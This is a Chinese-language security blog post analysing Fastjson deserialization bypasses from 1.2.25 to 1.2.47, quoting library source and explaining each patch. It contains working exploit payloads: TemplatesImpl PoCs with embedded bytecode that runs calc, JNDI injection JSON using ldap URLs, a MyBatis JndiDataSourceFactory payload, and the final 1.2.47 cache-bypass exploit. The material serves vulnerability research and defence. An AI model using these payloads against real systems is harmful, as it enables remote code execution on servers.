0%

Fastjson 1.2.25-1.2.47

t01c51245434a50f900.jpg (400×300) (qhimg.com)

前言

FastJson的后续版本修复以及绕过 1.2.25=< version <=1.2.47

漏洞产生原因

总结一下1.2.24的漏洞产生原因,type字段的特性会加载任意类(反序列化入口点),反射调用特定的setter和getter(反序列化链入口),进而从这些链子比如TemplatesImpl走到加载字节码(反序列化的触发payload)

1.2.25-1.2.41

修复

对比两个jar包的不同,在DefaultJSONParser,去掉了TypeUtils.loadClass 直接加载任意类,引入了checkAutoType()

image-20220401133436372

checkAutoType是1.2.25版本中新增的一个白名单+黑名单机制。同时引入一个配置参数 AutoTypeSupport 参考官方wiki

默认 AutoTypeSupport = False(开启白名单)

想要修改则在代码中修改

ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //关闭白名单机制,基于内置黑名单实现安全
  • 开启白名单的情况即AutoTypeSupport = False
//传入的expectClass = null
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}

final String className = typeName.replace('$', '.');

/*AutoTypeSupport = True情况,一会分析*/

Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName); //从一些常见类中寻找,返回null
}

//这种情况为:启用白名单
if (!autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i]; //获取黑名单
if (className.startsWith(deny)) { //匹配黑名单,直接报错退出
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i]; //获取白名单
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader); //匹配白名单后进行loadclass

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
/*一些代码*/

if (!autoTypeSupport) { //没有匹配到黑、白名单 抛出错误
throw new JSONException("autoType is not support. " + typeName);
}

return clazz;
}

可见AutoTypeSupport = False时需要 同时 先不匹配黑名单、再匹配白名单,才可以进行loadClass,不然最后也会抛出错误

内置默认黑名单有21个,第二个com.sun.导致了TemplateImpl链子的不能正常使用,白名单也为空,所以根本无法利用

image-20220401155300297

  • 关闭白名单的情况即AutoTypeSupport = True
    public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
    if (typeName == null) {
    return null;
    }

    final String className = typeName.replace('$', '.');

    //
    if (autoTypeSupport || expectClass != null) {
    for (int i = 0; i < acceptList.length; ++i) {
    String accept = acceptList[i]; //获取白名单,匹配到白名单,直接loadClass
    if (className.startsWith(accept)) {
    return TypeUtils.loadClass(typeName, defaultClassLoader);
    }
    }

    for (int i = 0; i < denyList.length; ++i) {
    String deny = denyList[i]; //获取黑名单,匹配到直接退出
    if (className.startsWith(deny)) {
    throw new JSONException("autoType is not support. " + typeName);
    }
    }
    }

    /*依旧是从map中寻找常见类,不影响*/


    if (autoTypeSupport || expectClass != null) {
    //重点,由于autoTypeSupport为开启,对于上面不匹配白、黑名单的,这里直接进行loadClass
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
    }

    if (clazz != null) {
    ////对于加载的类进行危险性判断,判断加载的clazz是否继承自Classloader与DataSource
    if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
    || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
    ) {
    throw new JSONException("autoType is not support. " + typeName);
    }

    if (expectClass != null) {
    if (expectClass.isAssignableFrom(clazz)) {
    return clazz;
    } else {
    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
    }
    }
    }
    //返回load之后的class
    return clazz;
    }

这里就能感觉到存在一些问题了,最后对于不满足黑白名单判断的要进行loadClass,绕过的方式也就存在于loadClass

绕过

利用条件:开启AutoTypeSupport,跟一下 TypeUtils.loadClass

public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className == null || className.length() == 0) {
return null;
}

Class<?> clazz = mappings.get(className);

if (clazz != null) {
return clazz;
}

//className 以'['开头
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
//className 以'L'开头 以';'结尾,去掉开头结尾,完成bypass
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
...

呼之欲出, 只需要 开头加上 L , 结尾加上 ; ,但是其实 [ 是可以绕过的

所以poc

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import java.util.HashMap;

public class fastjsonDemo {
public static void main(String[] args) {

String payload = "{\"@type\":\"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\",\"_bytecodes\":[\"yv66vgAAADQAJgo...\"],'_name':'c.c','_tfactory':{ },\"_outputProperties\":{},\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
//ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //关闭白名单机制,基于内置黑名单实现安全
JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}

JNDI注入poc

{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}

image-20220401164056672

1.2.42

修复

两点

  1. 修改明文黑名单为黑名单的hash
  2. 对于传入的类名,删除开头L和结尾的;

用的hash确实能混淆我这种小白

image-20220401165726738

跟进 checkAutoType 去看看,对第一个字符和最后一个字符计算hash,然后判断是L; 删掉

image-20220401170140890

绕过

利用条件:开启AutoTypeSupport

双写L; 就行了

1.2.43

修复

两层判断,如果双写了L; 直接抛错退出

image-20220401171703156

绕过

然后目光就转向了之前的 ‘[‘ 目前我只找到了利用方式,至于细节代码部分,能力有限,挖个坑

利用条件: 需要开启autotype

poc利用了 [ 和 [{ ,同样的可以绕过以上版本

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import java.util.HashMap;

public class fastjsonDemo {
public static void main(String[] args) {

String payload = "{\"@type\":\"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\"[{,\"_bytecodes\":[\"yv66vgAAADQAJgo...\"],'_name':'c.c','_tfactory':{ },\"_outputProperties\":{},\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
//ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //关闭白名单机制,基于内置黑名单实现安全
JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}

在1.2.44版本修复了[ 绕过黑名单的问题,做法是,以 [ 开头直接抛出异常

1.2.45

这个版本爆了一个绕过黑名单,利用条件: mybatis的3.x版本且<3.5.0、需要开启autotype

poc

{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:23457/Command8"
}
}

1.2.47 - 通杀

利用条件

1.2.25 <= fastjson <= 1.2.32 未开启 AutoTypeSupport
1.2.33 <= fastjson <= 1.2.47

回到 checkAutoType 这里

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
//1.typeName为空情况

//2.长度判断

//3.替换 $ 为 .

Class<?> clazz = null;

//4.hash方式对L|;|[ 进行判断

//5.autoTypeSupport为true(白名单关闭情况下),对比 acceptHashCodes 加载白名单,匹配到直接return
if (autoTypeSupport || expectClass != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
//对比denyHashCodes匹配到黑名单
//且 从TypeUtils.mappings中找不到这个类,抛出错误
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

//6.尝试从TypeUtils.mappings中获取这个类名的类
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
//7.尝试在 deserializers 中获取这个类
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
//8.如果通过上面两步,获取到了clazz,直接走到return clazz;
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
//9.autoTypeSupport为false(默认白名单开启的情况)
if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= PRIME;
//匹配黑名单直接退出
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
//白名单默认为空,走不到loadClass
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
//走不到这里
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
}
}
//10.通过上面不匹配黑名单,白名单为空后,进行loadClass
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}

/*其他一些代码*/

return clazz;
}
  • 白名单关闭时,匹配白名单后直接加载,抛出异常时需要满足两个条件1.黑名单 2.TypeUtils.getClassFromMapping找不到该类
  • 白名单开启时,首先检查黑名单,我们这里直接被退出,无法利用
  • 看了上面两种情况后,把目光转向第6 .7 .8步,如果从6.7步直接找到了我们需要的类,直接就return,不就可以绕过下面的黑名单,所以现在需要跟进 TypeUtils.getClassFromMapping 中和 deserializers.loadClass 看看到底进行了什么操作

deserializers.findClass

com.alibaba.fastjson.parser.ParserConfig private final IdentityHashMap<Type, ObjectDeserializer> deserializers = new IdentityHashMap<Type, ObjectDeserializer>()

可以看到deserializers为一个hashmap,因为当前操作为findClass,取数据操作,搜索一下哪些函数进行了赋值,发现有三个

  • initDeserializers()
  • getDeserializer()
  • putDeserializer()

initDeserializers():在构造函数中调用,传入一些没有危害的类

image-20220402105113402

getDeserializer():这个类用来加载一些特定类,以及有 JSONType 注解的类,在 put 之前都有类名及相关信息的判断,无法为我们所用。

image-20220402105907847

putDeserializer():被前两个函数调用,我们无法控制入参

image-20220402110022755

所以deserializers 的值不可控,都是写死的,没有利用可能

这个deserializers在checkAutoType方法中存在的意义应该是直接放行一些常用的类,来提升解析速度

TypeUtils.mappings

跟进是一个从mappings的get操作,mappings为 ConcurrentMap 对象

com.alibaba.fastjson.util.TypeUtils private static ConcurrentMap<String, Class<?>> mappings = new ConcurrentHashMap<String, Class<?>>(16, 0.75f, 1)

image-20220402110629230

老样子看看赋值的函数,搜索mappings.put,发现存在两个函数

  • addBaseClassMappings()
  • loadClass()

addBaseClassMappings,写死

image-20220402110852381

而且调用处,一处在static静态代码块

image-20220402111356679

一处 clearClassMapping()

image-20220402111428903

完全不可控,转向 loadClass(),这个函数文章一开始跟过,就是利用L;绕过,这次完整分析一下

public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
//判断是否为空
if(className == null || className.length() == 0){
return null;
}
//尝试从mappings中获取
Class<?> clazz = mappings.get(className);
//不为空直接返回
if(clazz != null){
return clazz;
}
//判断是否以[开头
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
//判断是否以L开头、;结尾
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
try{
//如果传入的classLoader不为空
if(classLoader != null){
//调用传入的类加载器进行加载
clazz = classLoader.loadClass(className);
//判断传入的cache
if (cache) {
//为True时,将className传入mappings(这里就存在利用点了)
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
try{
//这里就比较相似了
//如果上面失败,或没有指定 ClassLoader ,则使用当前线程的 contextClassLoader 来加载类
//也需要 cache 为 true 才能写入 mappings 中
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}
try{
//依旧失败利用Class.forName,加载类,放入到mappings
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch(Throwable e){
// skip
}
return clazz;
}

也就是说如果可控loadClass()的参数,就很有可能将类名传入到mappings,就可以在黑名单之前return

搜一下Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) 用法

跟一下TypeUtils 的 loadClass

image-20220402141616195

就在上方Class<?> loadClass(String className, ClassLoader classLoader) 添加了cache参数为true

image-20220402141939266

搜一下两个参数的loadClass在何处调用

image-20220402142223547

这里就关注com.alibaba.fastjson.serializer.MiscCodec#deserialze 摘取部分代码

public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
JSONLexer lexer = parser.lexer;

//4. clazz类型等于InetSocketAddress.class的处理。
//我们需要的clazz必须为Class.class,不进入
if (clazz == InetSocketAddress.class) {
...
}

Object objVal;
//3. 下面这段赋值objVal这个值
//此处这个大的if对于parser.resolveStatus这个值进行了判断,我们在稍后进行分析这个是啥意思
//当parser.resolveStatus的值为 TypeNameRedirect
if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
parser.resolveStatus = DefaultJSONParser.NONE;
parser.accept(JSONToken.COMMA);
//lexer为json串的下一处解析点的相关数据
//如果下一处的类型为string
if (lexer.token() == JSONToken.LITERAL_STRING) {
//判断解析的下一处的值是否为val,如果不是val,报错退出
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
//移动lexer到下一个解析点
//举例:"val":(移动到此处->)"xxx"
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}

parser.accept(JSONToken.COLON);
//此处获取下一个解析点的值"xxx"赋值到objVal
objVal = parser.parse();

parser.accept(JSONToken.RBRACE);
} else {
//当parser.resolveStatus的值不为TypeNameRedirect
//直接解析下一个解析点到objVal
objVal = parser.parse();
}

String strVal;
//2. 可以看到strVal是由objVal赋值,继续往上看
if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
strVal = (String) objVal;
} else {
//不必进入的分支
}

if (strVal == null || strVal.length() == 0) {
return null;
}

//省略诸多对于clazz类型判定的不同分支

//1. 可以得知,我们的clazz必须为Class.class类型
if (clazz == Class.class) {

//strVal是我们想要可控的一个关键的值,我们需要它是一个恶意类名
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

整个逻辑大概就是 strVal->objVal->parser.parse() 也就是说json的格式为

{"@type":"java.lang.Class","val":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"}

流程跟进

JSON.parseObject() 调用 DefaultJSONParser 对 JSON 进行解析。

image-20220402151126900

进入checkAutoType 进行加载类合法性,由于 deserializers 在初始化时将 Class.class 进行了加载,因此使用 findClass 可以找到,越过了后面 AutoTypeSupport 的检查。

image-20220402151540867

回到 DefaultJSONParser.parseObject() 设置 resolveStatus 为 TypeNameRedirect

image-20220402151629919

DefaultJSONParser.parseObject() 根据不同的 class 类型分配 deserialzer,Class 类型由 MiscCodec.deserialze() 处理。

image-20220402151749269

因为上面的this.set操作,进入if

image-20220402160626758

成功解析赋值给objVal

image-20220402151944191

继续赋值给strVal

image-20220402152040380

成功走到loadClass,在这里进行了缓存,写入到mappings

image-20220402152141252

进入 设置cache为True

image-20220402152237851

写入缓存mappings中

image-20220402153536134

一路返回,接下来轮到恶意类了,进入checkAutoType 检查

image-20220402161241901

直接功获取到恶意类

image-20220402161335497

然后就是发序列化触发了

image-20220402161504439

exp

{"a":{"@type": "java.lang.Class","val": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"}, 
"b":{"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": ["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAKcG9jXzEuamF2YQwACAAJBwAhDAAiACMBAARjYWxjDAAkACUBAAVwb2NfMQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAsAAAAOAAMAAAAJAAQACgANAAsADAAAAAQAAQANAAEADgAPAAEACgAAABkAAAAEAAAAAbEAAAABAAsAAAAGAAEAAAAOAAEADgAQAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAARAAwAAAAEAAEAEQAJABIAEwACAAoAAAAlAAIAAgAAAAm7AAVZtwAGTLEAAAABAAsAAAAKAAIAAAATAAgAFAAMAAAABAABABQAAQAVAAAAAgAW"],'_name':'c.c','_tfactory':{ },"_outputProperties":{},"_name":"a","_version":"1.0","allowedProtocols":"all"}}

参考

JAVA反序列化—FastJson组件 - 先知社区 (aliyun.com)

Fastjson 反序列化漏洞 · 攻击Java Web应用